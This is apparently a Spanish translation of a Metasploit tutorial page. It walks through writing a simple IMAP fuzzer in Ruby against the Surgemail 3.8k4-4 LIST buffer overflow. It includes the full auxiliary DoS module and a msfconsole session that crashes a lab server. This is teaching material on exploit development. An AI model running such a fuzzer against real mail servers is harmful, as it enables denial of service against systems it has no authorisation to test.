Simple Fuzzer IMAP

De www.metasploit-es.com.ar

Simple Fuzzer IMAP


Durante una sesión de reconocimiento de vulnerabilidades descubrimos un servidor de correo IMAP que se sabe que es vulnerable a un ataque de desbordamiento de búfer (Surgemail 3.8k4-4). Hemos encontrado un aviso para la vulnerabilidad, pero no se puedo encontrar ningún metodo de explotacion trabajando en la base de datos Metasploit ni en Internet. Entonces decides escribir tu propia explotación a partir de una simple fuzzer IMAP.

Desde el asesoramiento en esto sabemos que el comando vulnerables es IMAP LIST y necesita credenciales válidas para explotar la solicitud. Como hemos visto anteriormente, el gran "arsenal de la colección" presente en MSF nos puede ayudar de forma rápida secuencia de comandos de cualquier protocolo de red y el protocolo IMAP no es una excepción. Por ejemplo MSF:: Exploit:: Remote:: IMAP nos ahorrará mucho tiempo. De hecho, la conexión con el servidor IMAP y realizar la autenticación de pasos necesarios para fuzz el comando vulnerables, es sólo cuestión de unas cuantas líneas de comandos ! Aquí está el código

##
# Este archivo forma parte del Marco de Metasploit y puede ser objeto de
# redistribución y restricciones comerciales. Por favor vea el sitio de  
# Metasploit para más información sobre licencias y condiciones de uso.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Auxiliary

    include Msf::Exploit::Remote::Imap
    include Msf::Auxiliary::Dos

    def initialize
        super(
            'Name'           => 'Simple IMAP Fuzzer',
            'Description'    => %q{
                                An example of how to build a simple IMAP fuzzer.
                                Account IMAP credentials are required in this fuzzer.
                        },
            'Author'         => [ 'ryujin' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 1 $'
        )
    end

    def fuzz_str()
        return Rex::Text.rand_text_alphanumeric(rand(1024))
    end

    def run()
        srand(0)
        while (true)
            connected = connect_login()
            if not connected
                print_status("Host is not responding - this is G00D ;)")
                break
            end
            print_status("Generating fuzzed data...")
            fuzzed = fuzz_str()
            print_status("Sending fuzzed data, buffer length = %d" % fuzzed.length)
            req = '0002 LIST () "/' + fuzzed + '" "PWNED"' + "\r\n"
            print_status(req)
            res = raw_send_recv(req)
                if !res.nil?
            print_status(res)
                else
                    print_status("Server crashed, no response")
                    break
                end
            disconnect()
        end
    end
end


Overiding the run() nuestro código se ejecutará cada vez que el usuario llama a "run" de msfconsole. En el while loop within run(), os conectamos con el servidor IMAP y autenticar a través de la función connect_login() importado de Msf::Exploit::Remote::Imap. Entonces llamamos a la funcion fuzz_str() que genera un tamaño variable de amortiguamiento alfanuméricos que va a ser enviado como un argumento del comando LIST IMAP a través de la función raw_send_recv. Guardamos el archivo anterior en el auxiliary/dos/windows/imap/ subdirectorio / IMAP y cargarla desde msfconsole como siguiente paso.

msf > use auxiliary/dos/windows/imap/fuzz_imap 
msf auxiliary(fuzz_imap) > show options 

Module options:

   Name      Current Setting  Required  Description                              
   ----      ---------------  --------  -----------                              
   IMAPPASS                   no        The password for the specified username  
   IMAPUSER                   no        The username to authenticate as          
   RHOST                      yes       The target address                       
   RPORT     143              yes       The target port                          

msf auxiliary(fuzz_imap) > set RHOST 172.16.30.7
RHOST => 172.16.30.7
msf auxiliary(fuzz_imap) > set IMAPUSER test
IMAPUSER => test
msf auxiliary(fuzz_imap) > set IMAPPASS test
IMAPPASS => test

Ahora estamos listos para la pelusa de las personas vulnerables servidor IMAP. Atribuimos el proceso de surgemail.exe ImmunityDebugger y comenzar nuestra sesión de fuzzing:

msf auxiliary(fuzz_imap) > run

[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Generating fuzzed data...
[*] Sending fuzzed data, buffer length = 684
[*] 0002 LIST () /"v1AD7DnJTVykXGYYM6BmnXL[...]" "PWNED"

[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Generating fuzzed data...
[*] Sending fuzzed data, buffer length = 225
[*] 0002 LIST () /"lLdnxGBPh1AWt57pCvAZfiL[...]" "PWNED"

[*] 0002 OK LIST completed

[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Generating fuzzed data...
[*] Sending fuzzed data, buffer length = 1007
[*] 0002 LIST () /"FzwJjIcL16vW4PXDPpJV[...]gaDm" "PWNED"

[*] 
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Authentication failed
[*] Host is not responding - this is G00D ;)
[*] Auxiliary module execution completed

MSF nos dice que el servidor IMAP probablemente ha estropeado y ImmunityDebugger confirma como se ve en la imagen siguiente:

ImmunityDebuger.jpg


© Offensive Security 2009

Original by www.offensive-security.com
Traslated by tundervirld
Herramientas personales